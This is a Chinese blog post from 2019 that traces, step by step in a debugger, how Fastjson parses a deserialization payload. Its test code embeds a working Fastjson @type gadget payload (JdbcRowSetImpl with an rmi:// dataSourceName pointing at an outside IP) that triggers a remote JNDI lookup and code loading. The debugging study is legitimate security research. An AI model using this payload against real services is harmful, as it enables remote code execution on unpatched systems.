Fastjson白盒学习

序言

首先感谢Serial

1565249923615

有了流程图我们会知道我们跟踪到了哪里

本次使用的pom.xml和整体文件打包https://github.com/1aker/Fastjson-pentest

测试代码非常简单:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

public class Test1 {
public static void main(String[] args){
String json2="{ \"name\": { \"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\" },\"x\": { \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"rmi://120.79.91.29:9999/Exploit\", \"autoCommit\": true } }";

Object obj1 = JSON.parse(json2);
System.out.println(obj1);
}
}

1565253103014

poyload断点:

1565253179876

features的值为989,被直接传入。浅体为当前变量传入的值

1565253357531

好了,要跟进DefaultJSONParser类了,此处调用了该类并传入test参数和features参数:

1565253499748

我们来到了DefaultJSONParser,其主要初始化了一些东西然后进入了ParserConfig:

1565253594098

跟完了DefaultJSONParser我们来到了ParserConfig类:

1565253820545

本文标题:Fastjson白盒学习

文章作者:

发布时间:2019年08月08日 - 16:37:52

最后更新:2019年08月08日 - 21:01:22

原始链接:http://laker.xyz/2019/08/08/Fastjson%E7%99%BD%E7%9B%92%E5%AD%A6%E4%B9%A0/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。